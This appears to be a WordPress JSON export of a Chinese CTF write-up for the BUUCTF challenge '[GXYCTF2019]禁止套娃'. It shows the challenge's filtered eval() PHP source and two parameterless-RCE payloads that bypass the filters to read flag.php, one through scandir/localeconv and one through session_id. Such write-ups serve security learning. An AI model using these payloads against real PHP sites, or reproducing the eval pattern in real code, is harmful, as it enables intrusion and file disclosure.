{"id":104,"date":"2026-05-14T22:52:09","date_gmt":"2026-05-14T14:52:09","guid":{"rendered":"https:\/\/asum1.fun\/?p=104"},"modified":"2026-05-15T10:49:57","modified_gmt":"2026-05-15T02:49:57","slug":"buuctf-gxyctf2019%e7%a6%81%e6%ad%a2%e5%a5%97%e5%a8%831","status":"publish","type":"post","link":"https:\/\/asum1.fun\/index.php\/2026\/05\/14\/buuctf-gxyctf2019%e7%a6%81%e6%ad%a2%e5%a5%97%e5%a8%831\/","title":{"rendered":"buuctf-[GXYCTF2019]\u7981\u6b62\u5957\u5a03"},"content":{"rendered":"\n

\u8003\u70b9\uff1a\u65e0\u53c2\u6570RCE<\/h2>\n\n\n\n

\u524d\u671f\u5de5\u4f5c\uff1a<\/h2>\n\n\n\n

\u5565\u4ee3\u7801\u6728\u6709\uff0c\u5927\u6982\u7387\u662f\u8981dirsearch\u6216\u8005\u626b\u63cf.git\u6cc4\u9732,\u626b\u63cf\u540e\u627e\u5230index.php<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4ee3\u7801\u5982\u4e0b<\/p>\n\n\n\n

<?php\ninclude \"flag.php\";\necho \"flag\u5728\u54ea\u91cc\u5462\uff1f<br>\";\nif(isset($_GET['exp'])){\n    \/\/\u8fc7\u6ee4\u4f2a\u534f\u8bae\uff08\u5982 data:\/\/, php:\/\/ \u7b49\uff09\n    if (!preg_match('\/data:\\\/\\\/|filter:\\\/\\\/|php:\\\/\\\/|phar:\\\/\\\/\/i', $_GET['exp'])) {\n        \/\/\u68c0\u67e5\u8f93\u5165\u662f\u5426\u5339\u914d\u7279\u5b9a\u6a21\u5f0f\uff08\u9012\u5f52\u6b63\u5219\uff09\n        if(';' === preg_replace('\/[a-z,_]+\\((?R)?\\)\/', NULL, $_GET['exp'])) {\n            \/\/\u8fc7\u6ee4\u654f\u611f\u5173\u952e\u8bcd\uff08\u5982 et, na, info \u7b49\uff09\n            if (!preg_match('\/et|na|info|dec|bin|hex|oct|pi|log\/i', $_GET['exp'])) {\n                \/\/ echo $_GET['exp'];\n                @eval($_GET['exp']);\/\/\u82e5\u6240\u6709\u68c0\u67e5\u901a\u8fc7\uff0c\u5219\u6267\u884c\u7528\u6237\u8f93\u5165\u7684\u4ee3\u7801\n            }\n            else{\n                die(\"\u8fd8\u5dee\u4e00\u70b9\u54e6\uff01\");\n            }\n        }\n        else{\n            die(\"\u518d\u597d\u597d\u60f3\u60f3\uff01\");\n        }\n    }\n    else{\n        die(\"\u8fd8\u60f3\u8bfbflag\uff0c\u81ed\u5f1f\u5f1f\uff01\");\n    }\n}\n\/\/ highlight_file(__FILE__);\n?><\/code><\/pre>\n\n\n\n
\u601d\u8def\uff1a\u8fd9\u91cc\u6709\u4e00\u4e2a\u9012\u5f52\u6b63\u5219\uff0c\u53ef\u4ee5\u5957\u5a03\u4ee5\u591a\u4e2a[a-z,_]\u5b57\u7b26\u52a0\u4e0a() \u7ec4\u6210\u7684\u8868\u8fbe\u5f0f\uff0c\u4e5f\u5c31\u662f\u4e00\u4e2a\u65e0\u53c2\u6570RCE\uff0c\u601d\u8def\u662f\u6267\u884cshow_source(flag.php)\u6216\u8005highlight_file(flag.php)\uff0c\u90a3\u4e48\u91cd\u70b9\u5c31\u662f\u83b7\u5f97\u4e00\u4e2aflag.php<\/p>\n\n\n\n
\u65b9\u6cd5\u4e00\uff1ascandir()<\/h2>\n\n\n\n
scandir()\u662f PHP \u81ea\u5e26\u7684\u51fd\u6570\uff0c\u7528\u6765\u5217\u51fa\u6307\u5b9a\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u6587\u4ef6\u548c\u5b50\u76ee\u5f55<\/strong>\uff0c\u5e76\u4ee5\u6570\u7ec4\u7684\u5f62\u5f0f\u8fd4\u56de\u7ed3\u679c\u3002\u53ef\u4ee5scandir(\u2018.\u2019)\u6765\u83b7\u53d6\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u540d\uff0c\u800c \u2018.\u2018 \u53ef\u4ee5\u901a\u8fc7pos(localeconv())\u6765\u83b7\u5f97localeconv()\u7684\u7b2c\u4e00\u4e2a\u5b57\u7b26’.’ \uff08current(localeconv())\u4e5f\u53ef\u4ee5\uff09\uff0c<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u63a5\u7740\u5bf9\u6570\u7ec4\u64cd\u4f5c\u83b7\u53d6flag.php,\u8fd9\u91cc\u4f7f\u7528next(array_reverse())\u5373\u628a\u6570\u7ec4\u7ffb\u8fc7\u6765\u540e\u7684\u7b2c\u4e8c\u4e2a<\/p>\n\n\n\n
?exp=show_source(next(array_reverse(scandir(current(localeconv())))));<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u65b9\u6cd5\u4e8c\uff1aSESSIONID<\/h2>\n\n\n\n
\u8fd9\u4e2a\u65b9\u6cd5\u53ef\u4ee5\u83b7\u5f97\u4efb\u610f\u7684\u53c2\u6570\uff0c\u503c\u5f97\u6ce8\u610f<\/p>\n\n\n\n
?exp=show_source(session_id(session_start()));<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
\u8003\u70b9\uff1a\u65e0\u53c2\u6570RCE \u524d\u671f\u5de5\u4f5c\uff1a \u5565\u4ee3\u7801\u6728\u6709\uff0c\u5927\u6982\u7387\u662f\u8981dirsearch\u6216\u8005\u626b\u63cf.git\u6cc4\u9732,\u626b\u63cf\u540e\u627e\u5230ind […]<\/p>\n","protected":false},"author":1,"featured_media":115,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-104","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-learn"],"_links":{"self":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/104","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/comments?post=104"}],"version-history":[{"count":6,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/104\/revisions"}],"predecessor-version":[{"id":126,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/posts\/104\/revisions\/126"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media\/115"}],"wp:attachment":[{"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/media?parent=104"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/categories?post=104"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/asum1.fun\/index.php\/wp-json\/wp\/v2\/tags?post=104"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}